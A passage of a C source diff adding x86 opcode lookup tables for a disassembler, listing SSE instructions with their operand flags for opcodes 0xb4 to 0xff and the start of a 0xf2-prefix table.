INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1 + { INSTRUCTION_TYPE_SSE, "cmppd", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3 + { INSTRUCTION_TYPE_SSE, "pinsrw", AM_V|OT_w, AM_E|OT_w, AM_I|OT_b, 1 }, // 0xc4 + { INSTRUCTION_TYPE_SSE, "pextrv", AM_G|OT_w, AM_V|OT_w, AM_I|OT_b, 1 }, // 0xc5 + { INSTRUCTION_TYPE_SSE, "shufpd", AM_V|OT_pd, AM_W|OT_pd, AM_I|OT_b, 1 }, // 0xc6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf + { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xd0 + { INSTRUCTION_TYPE_SSE, "psrlw", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0xd1 + { INSTRUCTION_TYPE_SSE, "psrld", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd2 + { INSTRUCTION_TYPE_SSE, "psrlq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd3 + { INSTRUCTION_TYPE_SSE, "paddq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd4 + { INSTRUCTION_TYPE_SSE, "pmullw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd5 + { INSTRUCTION_TYPE_SSE, "movq", AM_W|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6 + { INSTRUCTION_TYPE_SSE, "pmovmskb", AM_G|OT_d, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xd7 + { INSTRUCTION_TYPE_SSE, "psubusb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd8 + { INSTRUCTION_TYPE_SSE, "psubusw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xd9 + { INSTRUCTION_TYPE_SSE, "pminub", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xda + { INSTRUCTION_TYPE_SSE, "pand", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdb + { INSTRUCTION_TYPE_SSE, "paddusb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdc + { INSTRUCTION_TYPE_SSE, "paddusw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdd + { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xde + { INSTRUCTION_TYPE_SSE, "pandn", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xdf + { INSTRUCTION_TYPE_SSE, "pavgb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe0 + { INSTRUCTION_TYPE_SSE, "psraw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe1 + { INSTRUCTION_TYPE_SSE, "psrad", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe2 + { INSTRUCTION_TYPE_SSE, "pavgw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe3 + { INSTRUCTION_TYPE_SSE, "pmulhuw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe4 + { INSTRUCTION_TYPE_SSE, "pmulhw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe5 + { INSTRUCTION_TYPE_SSE, "cvttpd2dq",AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6 + { INSTRUCTION_TYPE_SSE, "movntq", AM_M|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0xe7 + { INSTRUCTION_TYPE_SSE, "psubsb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe8 + { INSTRUCTION_TYPE_SSE, "psubsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xe9 + { INSTRUCTION_TYPE_SSE, "pminsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xea + { INSTRUCTION_TYPE_SSE, "por", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xeb + { INSTRUCTION_TYPE_SSE, "paddsb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xec + { INSTRUCTION_TYPE_SSE, "paddsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xed + { INSTRUCTION_TYPE_SSE, "pmaxsw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xee + { INSTRUCTION_TYPE_SSE, "pxor", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xef + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0 + { INSTRUCTION_TYPE_SSE, "psllw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf1 + { INSTRUCTION_TYPE_SSE, "pslld", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf2 + { INSTRUCTION_TYPE_SSE, "psllq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf3 + { INSTRUCTION_TYPE_SSE, "pmuludq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf4 + { INSTRUCTION_TYPE_SSE, "pmaddwd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf5 + { INSTRUCTION_TYPE_SSE, "psadbw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf6 + { INSTRUCTION_TYPE_SSE, "maskmovdqu",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf7 + { INSTRUCTION_TYPE_SSE, "psubb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf8 + { INSTRUCTION_TYPE_SSE, "psubw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xf9 + { INSTRUCTION_TYPE_SSE, "psubd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfa + { INSTRUCTION_TYPE_SSE, "psubq", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfb + { INSTRUCTION_TYPE_SSE, "paddb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfc + { INSTRUCTION_TYPE_SSE, "paddw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfd + { INSTRUCTION_TYPE_SSE, "paddd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff +}; + +// 3-byte instructions, prefix 0xf2 + +INST inst_table3_f2[256] = { + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf + { INSTRUCTION_TYPE_SSE, "movsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x10 + { INSTRUCTION_TYPE_SSE, "movsd", AM_W|OT_sd, AM_V|OT_sd, FLAGS_NONE, 1 }, // 0x11 + { INSTRUCTION_TYPE_SSE, "movddup", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x12 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x16 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29 + { INSTRUCTION_TYPE_SSE, "cvtsi2sd", AM_V|OT_sd, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b + { INSTRUCTION_TYPE_SSE, "cvttsd2si",AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2c + { INSTRUCTION_TYPE_SSE, "cvtsd2si", AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50 + { INSTRUCTION_TYPE_SSE, "sqrtsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x51 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57 + { INSTRUCTION_TYPE_SSE, "addsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x58 + { INSTRUCTION_TYPE_SSE, "mulsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x59 + { INSTRUCTION_TYPE_SSE, "cvtsd2ss", AM_V|OT_ss, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5b + { INSTRUCTION_TYPE_SSE, "subsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5c + { INSTRUCTION_TYPE_SSE, "minsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5d + { INSTRUCTION_TYPE_SSE, "divsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5e + { INSTRUCTION_TYPE_SSE, "maxsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6f + { INSTRUCTION_TYPE_SSE, "pshuflw", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x73 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b + { INSTRUCTION_TYPE_SSE, "haddps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7c + { INSTRUCTION_TYPE_SSE, "hsubps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92 + { 